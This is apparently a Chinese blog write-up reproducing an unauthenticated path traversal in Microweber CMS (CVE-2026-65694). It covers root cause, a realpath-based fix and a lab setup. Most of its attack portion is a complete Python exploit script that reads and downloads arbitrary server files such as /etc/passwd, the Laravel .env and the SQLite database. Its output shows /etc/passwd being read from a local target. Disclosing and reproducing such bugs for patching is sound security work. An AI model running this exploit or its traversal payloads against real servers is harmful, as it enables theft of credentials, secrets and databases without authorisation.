Microweber CMS 未授权路径穿越漏洞(CVE-2026-65694)

漏洞概述

|-------------|----------------------------------------------|
| 项目 | 详情 |
| CVE 编号 | CVE-2026-65694 |
| 漏洞类型 | CWE-22 路径穿越 → 未授权任意文件读取 |
| 严重级别 | High (CVSS 3.1: 7.5 , CVSS 4.0: 8.7) |
| CVSS 向量 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| 影响版本 | Microweber CMS 全部版本 ≤ 2.0.20 |
| 披露日期 | 2026年7月23日 |
| 发现者 | Bobur Abdugafforov |
| 补丁状态 | 修复 PR (#1181) 已提交但未合并,无官方补丁版本 |

漏洞简述

ServeStaticFileController::serveFromUserfiles() 方法从 request-\>path(查询参数)而非 request->route('path')(路由参数)读取文件路径,使 ?path= 查询字符串可覆盖路由中的 {path} 段。同时 normalize_path() 函数不会消除 ../ 目录穿越序列,导致未授权攻击者通过单次 HTTP GET 请求即可读取服务器上的任意文件。

漏洞根因分析

复制代码
<?php

namespace MicroweberPackages\App\Http\Controllers;

use DateTime;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Routing\Controller;
use Illuminate\Support\Facades\File;


class ServeStaticFileContoller extends Controller
{
    public $skip_ext = ['php', 'phtml', 'php7'];
    public $inline_disposition = ['pdf', 'docx', 'doc', 'xls'];

    /**
     * @throws \Symfony\Component\HttpKernel\Exception\NotFoundHttpException
     */
    public function serveFromUserfiles(Request $request)
    {
        $path = $request->path;


        $path = normalize_path(userfiles_path() . $path, false);

        return $this->sendResponse($path, $request);

    }

    private function sendResponse($path, $request)
    {


        abort_if(is_null($path), 404);
        abort_if(!is_file($path), 404);


        //$mime = File::mimeType($path);
        $ext = File::extension($path);
        $size = File::size($path);
        $mtime = filemtime($path);

        abort_if(in_array(strtolower($ext), $this->skip_ext), 403);


        $mimetype = \GuzzleHttp\Psr7\MimeType::fromExtension($ext);

        $headers = [
            'Content-Type' => $mimetype,
            'Content-Length' => $size,
        ];

        $server = $request->server;

        if ($server and $server->has('HTTP_IF_MODIFIED_SINCE') &&
            strtotime($server->get('HTTP_IF_MODIFIED_SINCE')) >= $mtime) {
            return response(null, 304);
        }

        $headerEtag = md5($path . $mtime . $size);

        if ($server and $server->has('HTTP_IF_NONE_MATCH') &&
            $server->get('HTTP_IF_NONE_MATCH') === $headerEtag) {
            return response(null, 304);
        }
/*
        $target = normalize_path(public_path().DS.userfiles_folder_name().DS.$request->path, false);
        $target_dir = dirname($target);
        mkdir_recursive($target_dir);

      //  dd($target);
        $copy = File::copy($path,$target );*/

        return response(
            file_get_contents($path),
            200,
            $headers
        )->setLastModified(DateTime::createFromFormat('U', $mtime))->setEtag($headerEtag);


    }
}

public function serveFromUserfiles(Request $request)
{
    // 漏洞点1: $request->path 读取的是查询参数 ?path=, 而非路由参数 {path}
    $path = $request->path;

    // 漏洞点2: normalize_path() 不处理 ".." 路径穿越
    $path = normalize_path(userfiles_path() . $path, false);

    return $this->sendResponse($path, $request);
}

路由注册(无需认证)

复制代码
Route::any('/userfiles/{path}', [
    'uses' => '...ServeStaticFileContoller@serveFromUserfiles'
])->where('path', '.*');

两个关键缺陷

输入覆盖 --- $request->path 通过 Laravel 的 Request::__get() 魔术方法解析:

首先检查 $this->all() 中的 path 键(即 ?path= 查询参数)

如果没有查询参数,才回退到 $this->route('path')

因此 ?path=../../.env 覆盖了 URL 路径中的 {path} 段

查询参数值绕过 URL 路径的 .. 规范化

路径未规范化 --- normalize_path() 仅合并多余的 / 斜杠,不处理 ..,也没有检查解析后的路径是否仍在 userfiles_path() 目录内。PHP 的底层文件系统在读取时完成实际的目录穿越。

修复方案

复制代码
public function serveFromUserfiles(Request $request)
{
    // 修复1: 使用 $request->route('path') 获取路由参数
    $requested = (string) $request->route('path');

    // 修复2: 使用 realpath() 规范化并检查路径边界
    $base = realpath(userfiles_path());
    $path = realpath(normalize_path($base . DIRECTORY_SEPARATOR . $requested, false));

    abort_if(
        $base === false || $path === false
        || strncmp($path, $base . DIRECTORY_SEPARATOR, strlen($base) + 1) !== 0,
        404
    );

    return $this->sendResponse($path, $request);
}

攻击流程

复制代码
┌─────────────────────────────────────────────────────────────┐
│ Step 1: 攻击者发送精心构造的 GET 请求                          │
│   GET /userfiles/x?path=../../../../etc/passwd               │
│   Host: target                                              │
├─────────────────────────────────────────────────────────────┤
│ Step 2: Laravel 路由解析                                     │
│   → {path} = "x" (URL 路径段,被忽略)                        │
│   → ?path= 覆盖路由参数,传入 traversal payload              │
├─────────────────────────────────────────────────────────────┤
│ Step 3: normalize_path() 处理                                │
│   → userfiles_path() + "../../../../etc/passwd"              │
│   → 仅合并多余斜杠,不解析 ".."                              │
├─────────────────────────────────────────────────────────────┤
│ Step 4: PHP 文件系统读取                                     │
│   → PHP 底层文件函数解析 ".." → 路径穿越成功                  │
│   → 返回任意文件内容 (除非是 .php/.phtml/.php7)              │
└─────────────────────────────────────────────────────────────┘

环境搭建

Docker Desktop

Python 3.x + requests 库

/etc/passwd --- 系统用户

/var/www/html/.env --- Laravel 配置

/var/www/html/storage/database.sqlite --- 完整数据库 (52 表: users, options, customers, personal_access_tokens...)

POC

复制代码
#!/usr/bin/env python3

import argparse
import sys
import urllib.parse

import requests

requests.packages.urllib3.disable_warnings()

BANNER = r"""
╔══════════════════════════════════════════════════════════════╗
║     Microweber CMS - Unauthenticated Arbitrary File Read   ║
║              CVE-2026-65694 (Path Traversal)               ║
╚══════════════════════════════════════════════════════════════╝
"""


class MicroweberPathTraversal:

    def __init__(self, target: str, proxy: str = None, timeout: int = 30):
        self.target = target.rstrip("/")
        self.timeout = timeout
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            "User-Agent": "Mozilla/5.0 (compatible; CVE-2026-65694-PoC)",
        })
        if proxy:
            self.session.proxies = {"http": proxy, "https": proxy}
        else:
            self.session.proxies = {"http": None, "https": None}

        self.base_path = "/userfiles/x"
        self.depth = None
        self.vulnerable = None

    def _make_request(self, path_payload: str):
        url = f"{self.target}{self.base_path}?path={urllib.parse.quote(path_payload, safe='')}"
        try:
            return self.session.get(url, timeout=self.timeout)
        except Exception as e:
            print(f"[!] Request failed: {e}")
            return None

    def check(self) -> dict:
        result = {
            "vulnerable": False,
            "depth": None,
            "details": [],
        }

        print("[*] Checking vulnerability status...\n")

        for depth in range(2, 11):
            traversal = "../" * depth
            payload = f"{traversal}etc/passwd"
            r = self._make_request(payload)

            if r is None:
                result["details"].append(f"  Depth {depth}: Connection failed")
                continue

            if r.status_code == 200 and "root:x:0:0" in r.text:
                result["vulnerable"] = True
                result["depth"] = depth
                result["details"].append(
                    f"  Depth {depth}: VULNERABLE - /etc/passwd read successfully"
                )
                break
            elif r.status_code == 200 and len(r.text) > 0:
                result["details"].append(
                    f"  Depth {depth}: HTTP 200, {len(r.text)} bytes (unexpected content)"
                )
            else:
                result["details"].append(
                    f"  Depth {depth}: HTTP {r.status_code}"
                )

        return result

    def read_file(self, filepath: str, depth: int = None) -> str:
        if depth is None:
            if self.depth is None:
                auto = self._auto_detect_depth()
                if auto is None:
                    print("[!] Could not auto-detect traversal depth. Use --depth N")
                    return None
                self.depth = auto
            depth = self.depth

        traversal = "../" * depth
        payload = f"{traversal}{filepath.lstrip('/')}"
        r = self._make_request(payload)

        if r is None:
            return None

        if r.status_code == 200:
            return r.text
        else:
            print(f"[!] HTTP {r.status_code} - file may not exist or is not readable")
            return None

    def download_file(self, filepath: str, output: str, depth: int = None):
        content = self.read_file(filepath, depth)
        if content:
            with open(output, 'wb') as f:
                f.write(content.encode('utf-8', errors='replace'))
            print(f"[+] Saved to: {output} ({len(content)} bytes)")
        else:
            print(f"[!] Download failed")

    def _auto_detect_depth(self) -> int:
        print("[*] Auto-detecting traversal depth...")
        for depth in range(2, 11):
            payload = ("../" * depth) + "etc/passwd"
            r = self._make_request(payload)
            if r and r.status_code == 200 and "root:x:0:0" in r.text:
                print(f"[+] Depth detected: {depth}")
                return depth
        return None


def main():
    parser = argparse.ArgumentParser(
        description="Microweber CMS CVE-2026-65694 Path Traversal PoC",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python poc.py --target http://localhost:12347 --check
  python poc.py --target http://localhost:12347 --read /etc/passwd
  python poc.py --target http://localhost:12347 --read .env
  python poc.py --target http://localhost:12347 --download /etc/passwd -o passwd.txt
        """,
    )
    parser.add_argument("--target", "-t", required=True,
                        help="Target Microweber CMS URL")
    parser.add_argument("--check", action="store_true",
                        help="Check if target is vulnerable")
    parser.add_argument("--read", "-r",
                        help="File path to read from server")
    parser.add_argument("--download", "-d",
                        help="File path to download from server")
    parser.add_argument("--output", "-o", default=None,
                        help="Output file for download")
    parser.add_argument("--depth", type=int, default=None,
                        help="Traversal depth (auto-detected if not specified)")
    parser.add_argument("--proxy", "-p",
                        help="HTTP proxy (e.g., http://127.0.0.1:8080)")
    parser.add_argument("--timeout", type=int, default=30,
                        help="Request timeout (default: 30)")
    parser.add_argument("-v", "--verbose", action="store_true",
                        help="Verbose output")

    args = parser.parse_args()

    if not any([args.check, args.read, args.download]):
        parser.print_help()
        print("\n[*] No action specified. Use --check to test vulnerability first.")
        sys.exit(0)

    exploit = MicroweberPathTraversal(args.target, args.proxy, args.timeout)

    print(BANNER)
    print(f"[*] Target: {args.target}")
    print(f"[*] Base path: {exploit.base_path}\n")

    if args.check:
        result = exploit.check()
        print()
        for detail in result["details"]:
            print(detail)
        print(f"\n{'='*60}")
        if result["vulnerable"]:
            print(f"[!] TARGET IS VULNERABLE!")
            print(f"[!] CVE-2026-65694 confirmed")
            print(f"[!] Traversal depth: {result['depth']}")
        else:
            print("[*] Vulnerability not confirmed")
            print("[*] Target may be patched or unreachable")
        print(f"{'='*60}")

    if args.read:
        print(f"\n[*] Reading file: {args.read}")
        print(f"{'='*60}")
        content = exploit.read_file(args.read, args.depth)
        if content:
            print(content)
        else:
            print("[!] Failed to read file")
        print(f"{'='*60}")

    if args.download:
        output = args.output or args.download.split("/")[-1] or "downloaded_file"
        print(f"\n[*] Downloading: {args.download} -> {output}")
        exploit.download_file(args.download, output, args.depth)

    print()


if __name__ == "__main__":
    main()

D:\漏洞复现\MicroweberCMS未授权路径穿越漏洞>python poc.py --target http://localhost:12347 --read /etc/passwd

╔══════════════════════════════════════════════════════════════╗
║     Microweber CMS - Unauthenticated Arbitrary File Read   ║
║              CVE-2026-65694 (Path Traversal)               ║
╚══════════════════════════════════════════════════════════════╝

[*] Target: http://localhost:12347
[*] Base path: /userfiles/x


[*] Reading file: /etc/passwd
============================================================
[*] Auto-detecting traversal depth...
[+] Depth detected: 4
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

============================================================
相关推荐
Deryck_德瑞克1 小时前
【Nginx】配置差异分析
服务器·前端·nginx
前端 贾公子1 小时前
第06章:结构化输出 (上)
java·服务器·前端
程序员zgh1 小时前
C++ 拷贝赋值运算符 详解
c语言·开发语言·c++
北斗落凡尘1 小时前
React面试题
前端
念何架构之路1 小时前
restartmanager-重启管理子系统
java·开发语言
一棵白菜2 小时前
mac 部署 n8n
前端
学高数就犯困2 小时前
React:常见的性能优化手段
前端·react.js
天天码行空2 小时前
vkeyboardhand:零依赖虚拟键盘指法组件
前端·javascript·vue.js
东方小月2 小时前
从零开发一个 Coding Agent(五):使用 TypeBox 校验工具参数
前端·人工智能·后端